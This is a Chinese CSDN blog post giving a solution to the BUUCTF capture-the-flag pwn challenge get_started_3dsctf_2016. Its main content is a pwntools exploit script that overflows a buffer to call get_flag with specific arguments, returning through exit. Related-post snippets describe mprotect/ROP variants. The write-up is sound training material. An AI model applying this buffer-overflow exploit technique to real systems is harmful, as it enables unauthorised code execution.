BUUCTF(Pwn)get_started_3dsctf_2016

最新推荐文章于 2024-01-12 16:48:11 发布
最新推荐文章于 2024-01-12 16:48:11 发布
阅读量365 收藏 2
点赞数 4
分类专栏： pwn题
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_45556441/article/details/115273998
版权
本文介绍了通过Python的pwn库进行远程连接，并利用缓冲区溢出技术尝试跳转到get_flag函数。由于原始尝试未成功，作者发现了需要维护栈的正确性，因此选择了exit函数作为跳板，成功触发了目标函数的执行。这是一个关于网络安全和缓冲区溢出的经典案例。
摘要由CSDN通过智能技术生成

在这里插入图片描述
在这里插入图片描述在这里插入图片描述

from pwn import *
p = remote("node3.buuoj.cn",28584)
context.log_level = 'debug'
a1 = 0x308cd64f
a2 = 0x195719d1
get_flag_addr = 0x080489A0
exit_addr = 0x0804E6A0
payload = 'a'* 0x38 + p32(get_flag_addr) + p32(exit_addr)+ p32(a1) + p32(a2)
p.sendline(payload)
p.recv()
p.interactive()

最开始向直接跳入get_flag函数，结果不能正确得到结果。原因是必须维护好栈，所以找一个函数来退出。于是利用了exit函数
在这里插入图片描述

半岛铁盒@
关注
专栏目录
BUUCTF PWN get_started_3dsctf_2016
Rt1Text的博客
04-23 350
1.checksec +运行 32位/NX保护 2.32位IDA 1.main函数 gets()函数溢出 跟进v4看看偏移 offset=0x38 这个题有些不同,看看调用函数的汇编 该题没有用ebp寻址,用的是esp寻址 也就是说不需要覆盖ebp四字节 这就说明有时候后卡住回去仔细看看汇编 2.get_flag if ( a1 == 814536271 && a2 == 425138641 ) a1/a2满足条件即可得到flag.tx...
【BUUCTF - PWN】get_started_3dsctf_2016
古月浪子的博客
03-25 1558
checksec一下，可以栈溢出 IDA打开看看，一个很普通的栈溢出漏洞，有后门函数，应该说是一道非常简单的题了 但是，本地打通非常容易，可是靶机打不通 =_= 于是乎，换个方法，利用mprotect函数修改bss段为rwx，写入shellcode跳过去执行 from pwn import * from LibcSearcher import * context.os='linux' con...
BUUCTF get_started_3dsctf_2016
qq_51821131的博客
07-23 257
记录在csdn里面看到的暴力解法 from pwn import * context(os="linux", arch="i386", log_level="debug") q = process("./get_started_3dsctf_2016") elf = ELF("./get_started_3dsctf_2016") mprotect_addr = elf.symbols["mprotect"] read_addr = elf.symbols["read"] # 内存权限改变的起始地址，也
buuctf get_started_3dsctf_2016
carol2358的博客
04-09 463
先checksec 这道题打远程需要改变内存权限，需要用到mprotec，这道题里也是有这个函数的 这道题有点特殊，是没有bp的，程序的函数调用约定是cdecl，依靠sp来进行平衡栈，需要取值就看与sp的偏移。 padding为0x38 大致的思路就是先找到mprotect，bss，read（向bss写入shell），pop（用来pop出mprotect的参数，进行第二次函数调用）的地址，然后传...
get_started_3dsctf_2016|get_started_3dsctf_2016
12-11
网络安全逆向PWN题目，简单的栈溢出，虽然有后门函数，但同时又给了一定的限制条件，可以使用更复杂的ROP解法。该样本题解：https://blog.csdn.net/A951860555/article/details/111030289
BUUCTF-Pwn-get_started_3dsctf_2016
餐桌上的猫
03-04 190
题目截图
buuctf——not_the_same_3dsctf_2016
qq_41560595的博客
03-26 489
这道题和前面分析过的get_started_3dsctf_2016差不多，换汤不换药。 选择一个地址0x080EB000，用来装shellcode。这个地址要改成可执行的。使用mprotect函数改变。 解题代码： from pwn import * #p=process("./not") p=remote("node3.buuoj.cn",29607) elf=ELF("./not") read=elf.symbols["read"] mprotect=elf.symbols["mprotect"] m
buuctf|get_started_3dsctf_2016 1
m0_64236521的博客
05-01 656
方法一 我将文件下载后将其重命名为pwn_13，checksec一下 可以直接栈溢出，32位，进入ida gets(v4)可以栈溢出，这里没找到后门函数，只发现了get_flag函数，进去看看 只要a1,a2满足值便可以输出flag，a1和a2是函数参数，我们可以进行传入，同时为了让get_flag正常结束，我们要使其返回函数为exit() exp如下 from pwn import* p=remote('node4.buuoj.cn',26832) context.log_level='debu
[BUUCTF-pwn]——get_started_3dsctf_2016
Y_peak的博客
02-10 242
[BUUCTF-pwn]——get_started_3dsctf_2016 题目地址:https://buuoj.cn/challenges#get_started_3dsctf_2016 题目: 这道题让我学到很多细节,虽然又一次栽倒了没有ebp的坑中 首先还是先checksec 一下看看,老样子32位NX保护. IDA中 看到这些,你是不是和我一样觉得so easy!!! 我一开始也觉得这种题 payload = ‘a’ * offest + ‘junk’ + get_flag的地址 +
[BUUCTF]PWN11——get_started_3dsctf_2016
mcmuyanga的博客
08-28 3886
[BUUCTF]PWN11——get_started_3dsctf_2016 题目网址：https://buuoj.cn/challenges#get_started_3dsctf_2016 步骤： 第一个方法，本地打通，要自己创建一个flag.txt 例行检查，32位，开启了nx保护 nc一下，看看程序大概的执行情况 32位ida载入，shift+f12查看程序里的字符串，看到了flag.txt 双击跟进，ctrl+x查看哪个函数调用了它，发现了一个函数，当a1=0x308cd64f，a2=0x19
BUUCTF get_started_3dsctf_2016（mprotect）
、moddemod
06-10 538
典型的栈溢出 而且还留了后门 在本地可以拿到flag.txt文件，但是远程不行！ 栈不可执行 原型： int mprotect(const void *start, size_t len, int prot) start：需改写属性的内存中开始地址 len：需改写属性的内存长度 prot：需要修改为的指定值 功能： mprotect()函数可以用来修改一段指定内存区域的保护属性。 他把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。 prot可以取以下几个值： 1）PRO.
BUUCTF pwn——get_started_3dsctf_2016
CNS-Enterprise BCC-1701-J
04-01 123
BUUCTF 做题练习
get_started_3dsctf_2016
xieyichensss的博客
03-30 159
额，鸽了好久，因为这几天在将之前学的来做题总结和应用一下，发现学了和没学差不多，很难受就。 BUUCTF get_started_3dsctf_2016 1.直接进入from pwn import *，然后elf = ELF(“get_started_3dsctf_2016”),直接显示是32位的，且打开了NX，表示代码数据段的执行和写入权限不能同时开启。 2.拖入IDA pro，妈呀，好简单的源码，直接gets（v4），有栈溢出的漏洞啊这是。发现v4到ebp的距离为0x38.又在ida左侧的函数名中发现
BUUCTF--get_started_3dsctf_20161
qq_30528603的博客
01-12 487
题目一进来有很多函数，盲猜是静态编译了。而且在函数堆中发现了个get_flag。信心慢慢的直接写代码返回get_flag地址。2.这题在main函数开始的时候没有压入ebp，因此计算溢出位置不用覆盖ebp。也就是说以前的old_ebp的位置变成了现在的返回地址。1.打远程的时候他将会判断参数是否合规，因此我们要构造get_flag的参数的正确性。这题我本来以为是简单的ret2text.结果还是中了小坑。4.构造垃圾数据不用b‘a'，打不通。这题还有一种解法，我是看别的师傅wp才知道的。
get_started_3dsctf_2016【BUUCTF】(两种解法)
qq_41696518的博客
08-27 1318
get_started_3dsctf_2016
BUUCTF pwn rip
最新发布
01-28
根据提供的引用内容，BUUCTF PWN-RIP是一个关于PWN技术的详解文章。文章中提到了64位的EIF文件中rbp寄存器的大小为8个字节。如果对这部分不太理解，可以阅读作者的另一篇关于PWN基础知识的文章。 BUUCTF PWN-RIP...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

半岛铁盒@

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值